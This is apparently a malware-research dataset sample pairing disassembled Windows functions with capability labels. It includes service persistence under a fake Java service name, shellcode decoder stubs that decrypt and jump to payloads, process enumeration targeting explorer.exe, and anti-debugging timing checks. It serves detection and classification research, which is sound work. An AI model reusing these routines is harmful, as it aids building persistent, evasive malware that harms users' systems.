joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.1000716e
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
mov dword [0x403cdc], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [ebp + 4]
mov dword [0x403b2d], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401031
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x403b2d]
mov dword [ebp - 0x48], eax
mov eax, 0x40168b
mov dword [ebp - 0x54], eax
mov ecx, str.Hello
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor ecx, ecx
push ecx
push dword [0x403b2d]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.klavesn
push eax
mov eax, str.Hello
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403d28], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403d28]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4010ce
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4010c0
mov esp, ebp
ret
Function at 0x40103d
Capabilities:
Terminate process

Disassembly:
push esi
call fcn.004010c6
mov esi, eax
call fcn.00401092
push 0x403004
push section..data
call fcn.00401078
jmp loc.0040a5dc

Function at 0x4010c6
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
xor ebx, ebx
push edi
mov dword [0x40301c], ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
jne 0x4010fd
xor eax, eax
jmp 0x4011a9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp byte [esi], 0x22
jne 0x401124
inc esi
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40111e
cmp al, 0x22
je 0x40111e
inc esi
jmp 0x401111
cmp byte [esi], bl
jne 0x40113f
jmp 0x4010f6
mov dword [0x40301c], esi
mov al, byte [esi]
cmp al, bl
je 0x40113b
cmp al, 0x20
je 0x40113b
cmp al, 9
je 0x40113b
inc esi
jmp 0x40112a
cmp byte [esi], bl
je 0x401142
mov byte [esi], bl
inc esi
push 1
mov ecx, 0x403020
pop eax
mov dl, byte [esi]
cmp dl, bl
je 0x401155
cmp dl, 0x20
je 0x40115a
jmp 0x4061f4
inc esi
jmp 0x40114a
pop edi
pop esi
pop ebx
ret

Function at 0x401205
Capabilities:
Encode data using base64
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push ebx
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x22c
mov edi, eax
lea eax, [ebp - 0x230]
push ebx
push eax
call fcn.00401580
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push edi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x401273
push str.explorer.exe
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x401279
lea eax, [ebp - 0x230]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40124f
jmp 0x40127f
mov ebx, dword [ebp - 0x228]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x40129b
push ebx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
jmp 0x40ae59
Function at 0x4012dd
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
push 2
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4013b9
push ebx
push edi
push 0x208
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
push esi
xor eax, eax
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x214]
push eax
push 1
push 2
push 0x110
mov ebx, 0xf01ff
push ebx
push str.Java_TM__Virtual_Machine_Support_Service
mov edi, str.javatmsup
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x401391
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp loc.004050fa
lea ecx, [ebp - 8]
push ecx
push 1
push eax
mov dword [ebp - 8], str.Java_interoperability_virtual_machine_support_for_continuing_execution_of_code
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push dword [ebp - 0xc]

Function at 0x4013bc
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push esi
push edi
push dword [ebp + 8]
call fcn.004012a2
push 0x40
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.00401580
add esp, 0x10
lea eax, [ebp - 4]
push eax
push str.SOFTWAREJavaSoft
push 0x80000002
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x58], str.WinSta0Default
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp dword [ebp - 4], esi
je 0x40143e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 8]
push eax
push esi
push str.Supplement
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x208
mov dword [ebp - 8], 3
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1c]
jmp loc.0040487d
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40345b
pop dword [ebp - 0x3c]
mov eax, 0x81f065f2
add eax, 0x7e4fce69
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x82bf9565
add dword [ebp - 0x4c], 0xcb92afe6
mov dword [ebp - 0x48], 0xef21ad1a
add dword [ebp - 0x48], 0x43119f2b
mov dword [ebp - 0x44], 0x39ec25d
add dword [ebp - 0x44], 0x48ad81d1
mov dword [ebp - 0x40], 0x1728279c
add dword [ebp - 0x40], 0xe8d7d864
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xc2656143
sub dword [ebp - 0x4c], 0x4df2f7ed
mov dword [ebp - 0x48], 0xe2fe97d9
add dword [ebp - 0x48], 0x5e6dc99c
mov dword [ebp - 0x44], 0xaac2462
add dword [ebp - 0x44], 0x58c3480a
mov dword [ebp - 0x40], 0x7b838cfa
sub dword [ebp - 0x40], 0x7b838cfa
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x530cc866
sub eax, 0x52cc8816
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3778f
push 0
call eax
mov ecx, 0xd9acc441
add ecx, 0x2653862d
xor esi, esi
add esi, eax
mov edi, 0xc341bbe0
sub edi, 0xc30137e0
add edi, dword [ebp - 0x3c]
mov ebx, 0xfed877c6
mov dword [ebp - 0x14], 0x38b76862
mov edx, dword [edi]
xor dword [ebp - 0x14], edx
sub edx, ebx
sub dword [ebp - 0x24], eax
mov dword [esi], edx
add esi, 0xa2261f0f
add esi, 0x5dd9e0f5
add edi, 4
loop 0x403574
add eax, 0x7ced73c9
sub eax, 0x7cec573e
mov ebx, eax
add eax, 0x89dfb2ad
add eax, 0x76204d58
mov ecx, 0x3e97f017
add ecx, 0xc1a80fe9
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x405280
Capabilities:
Encode data using xor

Disassembly:
push 0x405334
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
pushal
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ebx, 0x93ecd7ec
xor al, 0xfa
inc ebp
stosb byte es:[edi], al
adc eax, edi
pop esi
pushal
jg 0x40529c
mov al, byte [pe_dos_header]
add byte [eax], al
add dword [eax], eax
add byte [eax], al
sub eax, 0x30303043
sub eax, 0x72706b65
jne 0x405339
push 0x63
insd dword es:[edi], dx
jbe 0x4052c7
jge 0x4052ed
xor ch, byte [esi]
cmp dword [eax], esi
cmp dword [ebx], esi
xor al, 0x30
xor dh, byte [ebx]
cmp byte [ebx + esi], dh
cmp dword [edx], esi
cmp byte [0x36353334], dh
xor eax, 0x34353634
add byte ss:[edi + ebp*2 + 0x6c], ah
xor ch, byte gs:[esi]
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
adc byte [eax + eax*2], al
add bh, bh
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], dl
test byte [eax], al
add byte [eax], al
add byte [eax], al
sub al, byte es:[eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jle 0x40534a
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or al, byte [eax]
or dword [eax + eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax - 0x5a], bh
inc edx
add byte [ebp + edx*2 + 0x40], dl
add byte [edi], bh
invalid
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000f197
pop dword [ebp - 0x18]
mov eax, 0x8db0b9ec
sub eax, 0x7dafc855
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x38ff1
push 0
mov eax, 0x90d6fc2f
add eax, 0x7f2a4435
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x3fcc60ab
sub ecx, 0x3fcc1901
xor edx, edx
add edx, eax
mov ebx, 0xe371cf36
add ebx, 0x2c8fb6ca
add ebx, dword [ebp - 0x18]
mov edi, 0xa2eb131c
sub edi, 0xc5115371
xor dword [ebp - 8], 0xdd197ea
mov esi, dword [ebx]
add dword [ebp - 0x10], edi
sub esi, edi
add dword [ebp - 0x14], 0x2dc5c069
mov dword [edx], esi
add edx, 0x13c804f2
add edx, 0xec37fb12
add ebx, 4
loop 0x1000f1f8
add eax, 0xd39ca747
add eax, 0x2c646a34
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x44305f
Capabilities:
Packed with generic packer

Disassembly:
pushal
push 0x2bd46
push section.packerBY
push 0x4434e3
call fcn.004434a8
cld
mov esi, 0x414000
mov ecx, 4
sub ecx, esi
cmp esi, 0x440290
ja 0x4430a7
lodsb al, byte [esi]
add al, 0x18
sub al, 2
jb 0x44309d
cmp al, 0x25
jne 0x443081
mov al, byte [esi]
and al, 0xf0
cmp al, 0x80
jne 0x443081
inc esi
lea edi, [esi + ecx]
sub dword [esi], edi
add esi, 4
jmp 0x443081
mov edx, 0x400000
lea esi, [edx + 0x4120c]
mov eax, dword [esi + 0xc]
test eax, eax
je 0x44310a
add eax, edx
mov edi, dword [esi + 0x10]
mov ebx, dword [esi]
test ebx, ebx
jne 0x4430c6
mov ebx, edi
add ebx, edx
add edi, edx
push edx
push edi
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
pop edi
pop edx
test eax, eax
je 0x443108
mov ecx, eax
mov eax, dword [ebx]
test eax, eax
je 0x443103
btr eax, 0x1f
jb 0x4430eb
lea eax, [eax + edx + 2]
push ecx
push edx
push edi
push eax
push ecx
call dword [sym.imp.kernel32.dll_GetProcAddress]
pop edi
pop edx
pop ecx
test eax, eax
je 0x443108
stosd dword es:[edi], eax
add ebx, 4
jmp 0x4430db
add esi, 0x14
jmp 0x4430b2
popal
ret
popal
jmp 0x440130
Function at 0x4015b0
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub esp, 0x10
call fcn.00402c10
mov dword [esp], eax
rdtsc
xor eax, edx
xor dword [esp], eax
call fcn.00402c10
mov dword [esp + 4], eax
rdtsc
xor eax, edx
xor dword [esp + 4], eax
call fcn.00402c10
mov dword [esp + 8], eax
rdtsc
xor eax, edx
xor dword [esp + 8], eax
call fcn.00402c10
mov dword [esp + 0xc], eax
rdtsc
xor eax, edx
xor dword [esp + 0xc], eax
mov eax, dword [esp]
mov ecx, dword [esp + 4]
shl eax, 8
xor eax, ecx
mov ecx, dword [esp + 8]
shl eax, 8
xor eax, ecx
mov ecx, dword [esp + 0xc]
shl eax, 8
xor eax, ecx
add esp, 0x10
ret
Function at 0x401700
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x48c
push ebx
lea edx, [esp + 0x184]
mov ecx, 0x104
mov ebx, 0x41
call fcn.00402a40
mov al, byte [0x40401c]
lea ecx, [esp + 0x80]
push ecx
push 0
lea edx, [esp + 0x18c]
push 0x40100c
push edx
mov byte [esp + 0x17], al
call fcn.00402930
mov al, byte [esp + 0x17]
add esp, 0x10
cmp al, 0x3b
ja 0x40174f
xor ebx, ebx
push ebp
push esi
push edi
call fcn.004015b0
mov ecx, 0xc000
xor edx, edx
div ecx
mov edi, edx
add edi, ecx
push edi
push 0
call fcn.004020b0
push eax
call fcn.00402120
mov ebp, eax
add esp, 0xc
test ebp, ebp
je 0x401856
mov al, byte [esp + 0x13]
test al, al
jne 0x401790
xor word [0x404018], bx
jmp 0x401796
and al, 0xc7
mov byte [esp + 0x13], al
xor esi, esi
test edi, edi
jbe 0x4017bd
lea esp, [esp]
call fcn.004015b0
xor edx, edx
mov ecx, 0x64
div ecx
add dl, 0x1e
mov byte [esi + ebp], dl
inc esi
cmp esi, edi
jb 0x4017a0
mov al, byte [esp + 0x13]
cmp ebx, 0x67
jae 0x4017ca
imul al
mov byte [esp + 0x13], al
jmp 0x4017da
mov edx, dword [0x404014]
imul edx, ebx
mov word [0x404014], dx
push 0
push 0
push 2
push 0
push 0
mov edx, 0x40000000
lea ecx, [esp + 0xa0]
call fcn.00402430
cmp ebx, 0x39
mov esi, eax
je 0x401808
cmp ebx, 0x50
jne 0x401811
mov ebx, 0x6656
jmp 0x401811
mov word [0x404010], 0
push 0
lea eax, [esp + 0x18]
push eax
push edi
push ebp
push esi
call fcn.00402580
mov dl, byte [esp + 0x27]
add esp, 0x14
add dl, 0x9c
push esi
mov byte [esp + 0x17], dl
call fcn.00402030
cmp ebx, 0x4b
je 0x401842
cmp ebx, 0x70
jne 0x401847
xor ebx, ebx
jmp 0x401847
or byte [esp + 0x13], 0x60
push ebp
call fcn.004020b0
xor edx, edx
mov ecx, eax
call fcn.004021f0
mov cl, byte [esp + 0x13]
shl ebx, cl
mov ecx, 7
mov esi, 0x401048
lea edi, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
xor byte [esp + eax + 0x28], 0x9d
inc eax
cmp eax, 0x1e
jl 0x401871
push 0x208
lea edx, [esp + 0x298]
lea ecx, [esp + 0x2c]
call fcn.00402830
cmp byte [esp + 0x13], 0x31
jbe 0x40189e
add ebx, 0x1a58
lea ecx, [esp + 0x294]
push 0x401044
push ecx
call fcn.00401db0
mov al, byte [esp + 0x1b]
add esp, 8
cmp al, 0x4a
jb 0x4018c3
imul ebx, ebx, 0x2f4
jmp 0x4018c8
add byte [esp + 0x13], 0x3e
lea edx, [esp + 0x8c]
push edx
lea eax, [esp + 0x298]
push eax
call fcn.00401db0
add esp, 8
cmp ebx, 6
jne 0x4018ea
mov byte [esp + 0x13], 0
xor eax, eax
cmp ebx, 0x22
mov ecx, 0x11
lea edi, [esp + 0x48]
rep stosd dword es:[edi], eax
pop edi
pop esi
mov dword [esp + 0x40], 0x44
mov word [esp + 0x70], 1
pop ebp
jb 0x401912
xor ebx, ebx
jmp 0x40191f
movzx cx, byte [esp + 7]
and word [0x40401c], cx
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x40]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x2a8]
xor ecx, ecx
call fcn.00402320
mov ecx, dword [esp + 0xc]
push ecx
call fcn.00402030
cmp byte [esp + 7], 0x4a
je 0x40195b
add word [0x404018], bx
mov edx, dword [esp + 0x10]
push edx
call fcn.00402030
pop ebx
add esp, 0x48c
ret
Function at 0x401a70
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x390
mov eax, dword [0x4010a4]
mov ecx, dword [0x4010a8]
mov dl, byte [0x4010ac]
mov dword [esp + 4], ecx
mov dword [esp], eax
mov cl, byte [esp]
push ebx
mov bl, byte [esp + 5]
mov al, 0xec
xor cl, al
xor bl, al
mov byte [esp + 4], cl
mov byte [esp + 0xc], dl
mov byte [esp + 5], bl
mov edx, dword [esp + 4]
mov bl, byte [esp + 8]
shr edx, 0x10
xor dl, al
xor bl, al
mov byte [esp + 6], dl
mov ecx, dword [esp + 4]
mov byte [esp + 8], bl
mov edx, dword [esp + 8]
mov bl, byte [esp + 0xb]
shr ecx, 0x18
xor cl, al
shr edx, 8
xor dl, al
mov byte [esp + 7], cl
mov byte [esp + 9], dl
mov ecx, dword [esp + 8]
shr ecx, 0x10
xor cl, al
xor bl, al
push 0x104
lea eax, [esp + 0x294]
push eax
push 0
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], bl
call fcn.00402660
mov bl, pe_nt_image_headers32
call fcn.00402b90
lea ecx, [esp + 4]
push ecx
push eax
call fcn.00401d20
add esp, 8
test eax, eax
je 0x401b44
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0x401490
push 0
push 0
call fcn.004023b0
push 0xffffffffffffffff
push eax
call fcn.00401f80
add esp, 0x20
jmp 0x401cb0
mov eax, dword [0x404018]
lea ecx, [esp + 0x18c]
shl eax, 6
push ecx
mov word [0x404018], ax
call fcn.00401970
add esp, 4
push 0
lea edx, [esp + 0x190]
push edx
lea eax, [esp + 0x298]
push eax
call fcn.00402ac0
test eax, eax
je 0x401c0a
lea ecx, [esp + 0x18c]
push ecx
lea edx, [esp + 0x8c]
push edx
call fcn.00401df0
lea eax, [esp + 0x88]
push 0x401044
push eax
call fcn.00401db0
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x94]
push edx
call fcn.00401db0
push 0x44
lea eax, [esp + 0x58]
push 0
push eax
mov word [0x404010], 0
call fcn.00401e20
add esp, 0x1c
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0xa8]
xor ecx, ecx
mov dword [esp + 0x64], 0x44
mov word [esp + 0x94], 0
call fcn.00402320
xor bl, bl
call fcn.00401620
sub eax, 0
je 0x401c9f
dec eax
jne 0x401cab
push esi
push edi
mov ecx, 8
mov esi, 0x401084
lea edi, [esp + 0x2c]
rep movsd dword es:[edi], dword [esi]
pop edi
xor eax, eax
pop esi
xor byte [esp + eax + 0x24], 0x4c
inc eax
cmp eax, 0x1f
jl 0x401c37
push 0x7d0
call fcn.004027a0
mov eax, dword [0x401074]
mov ecx, dword [0x401078]
mov edx, dword [0x40107c]
mov dword [esp + 0x14], eax
mov al, byte [0x401080]
add esp, 4
mov byte [esp + 0x1c], al
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
xor eax, eax
xor byte [esp + eax + 0x10], 0x41
inc eax
cmp eax, 0xc
jl 0x401c77
push 0x1040
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x2c]
push edx
push 0
call fcn.00403020
add esp, 0x10
xor bl, bl
jmp 0x401cb0
mov ax, word [0x40401c]
mov word [0x40401c], ax
call fcn.00401700
push 4
lea ecx, [esp + 0x294]
push 0
push ecx
xor bl, 0x68
call fcn.004022c0
movzx eax, bl
add esp, 0xc
sub eax, 0x80
je 0x401cfc
sub eax, 0x17
je 0x401ce5
sub eax, 0x62
xor eax, eax
pop ebx
add esp, 0x390
ret 0x10
movzx dx, bl
xor word [0x404018], dx
xor eax, eax
pop ebx
add esp, 0x390
ret 0x10
movzx ax, bl
and word [0x404014], ax
xor eax, eax
pop ebx
add esp, 0x390
ret 0x10
Function at 0x401ea0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x404028]
mov ecx, dword [0x404038]
imul eax, eax, 0x6e
sub esp, 0x10
test ecx, ecx
mov dword [0x404028], eax
jne 0x401f35
mov ecx, dword [0x4010b0]
mov eax, dword [0x4010b8]
mov edx, dword [0x4010b4]
mov dword [esp], ecx
mov cx, word [0x4010bc]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov word [esp + 0xc], cx
xor eax, eax
xor byte [esp + eax], 0x2d
inc eax
cmp eax, 0xd
jl 0x401ee4
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ecx, eax
mov al, byte [0x404021]
mov dl, 0x46
imul dl
test ecx, ecx
mov dword [0x404038], ecx
mov byte [0x404021], al
jne 0x401f2b
mov eax, dword [0x40403c]
test eax, eax
je 0x401f2b
mov ecx, 1
call fcn.004026d0
mov ecx, dword [0x404038]
mov dword [0x404028], 0
mov eax, dword [esp + 0x14]
push esi
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x401f6a
mov cl, byte [0x404021]
mov eax, dword [0x40403c]
xor cl, 0x46
test eax, eax
mov byte [0x404021], cl
je 0x401f6a
mov ecx, 1
call fcn.004026d0
mov eax, esi
pop esi
add esp, 0x10
ret 4

Function at 0x401f80
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x404138]
sub esp, 0x18
test eax, eax
push esi
movsx si, byte [0x404020]
jne 0x402013
mov eax, dword [0x4010c0]
mov ecx, dword [0x4010c4]
mov edx, dword [0x4010c8]
mov dword [esp + 4], eax
mov eax, dword [0x4010cc]
mov dword [esp + 8], ecx
mov ecx, dword [0x4010d0]
mov dword [esp + 0xc], edx
mov dl, byte [0x4010d4]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], dl
xor eax, eax
xor byte [esp + eax + 4], 0x7a
inc eax
cmp eax, 0x14
jl 0x401fd1
lea eax, [esp + 4]
push eax
call fcn.00401ea0
cmp si, 0x76
mov dword [0x404138], eax
je 0x402009
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
or word [0x404024], si
push ecx
push edx
call eax
pop esi
add esp, 0x18
ret
mov dword [0x404028], 0
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push ecx
push edx
call eax
pop esi
add esp, 0x18
ret

Function at 0x402030
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x40414c]
sub esp, 0x10
test eax, eax
push esi
mov esi, dword [0x404028]
jne 0x402096
mov eax, dword [0x4010d8]
mov ecx, dword [0x4010dc]
mov edx, dword [0x4010e0]
mov dword [esp + 4], eax
mov al, byte [0x4010e4]
mov byte [esp + 0x10], al
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
xor eax, eax
jmp 0x402070
xor byte [esp + eax + 4], 0xda
inc eax
cmp eax, 0xc
jl 0x402070
lea ecx, [esp + 4]
push ecx
call fcn.00401ea0
cmp esi, 0x40
mov dword [0x40414c], eax
jne 0x402096
xor word [0x404024], si
mov edx, dword [esp + 0x18]
push edx
call eax
pop esi
add esp, 0x10
ret 4